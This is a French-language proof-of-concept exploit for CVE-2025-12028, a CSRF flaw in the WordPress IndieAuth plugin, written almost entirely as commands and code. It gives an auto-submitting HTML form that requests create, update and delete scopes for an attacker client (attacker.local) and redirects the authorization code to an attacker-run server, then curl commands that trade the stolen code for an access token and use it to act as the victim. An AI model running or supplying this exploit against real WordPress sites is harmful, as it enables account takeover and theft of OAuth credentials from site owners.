
Preuve de concept de l'exploit pour CVE-2025-12028 démontrant le vol de jetons OAuth basé sur CSRF dans le plugin WordPress IndieAuth, permettant un accès non autorisé à l'API avec des identifiants volés.
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000
/tmp/attacker/poc.html avec le contenu suivant<!doctype html>
<html>
<body>
<form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
<input name="client_id" value="http://attacker.local/app">
<input name="redirect_uri" value="http://127.0.0.1:8000/cb">
<input name="state" value="csrf-12345">
<input name="response_type" value="code">
<input name="scope[]" value="create">
<input name="scope[]" value="update">
<input name="scope[]" value="delete">
</form>
<script>
document.getElementById('x').submit();
</script>
</body>
</html>
Tout en étant connecté à :
http://localhost/wordpress
Ouvrir :
http://127.0.0.1:8000/poc.html
dans la même session de navigateur.
Le navigateur va :
http://127.0.0.1:8000/cb?code=...&state=csrf-12345
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-d "grant_type=authorization_code" \
-d "code=PASTE_CODE_FROM_STEP_4" \
-d "client_id=http://attacker.local/app" \
-d "redirect_uri=http://127.0.0.1:8000/cb"
La réponse JSON contiendra des champs tels que :
access_tokenscopemerefresh_tokenCe jeton peut maintenant être utilisé pour agir en tant que victime dans le cadre des autorisations accordées.
TOKEN="PASTE_ACCESS_TOKEN"
curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-H "Authorization: Bearer $TOKEN"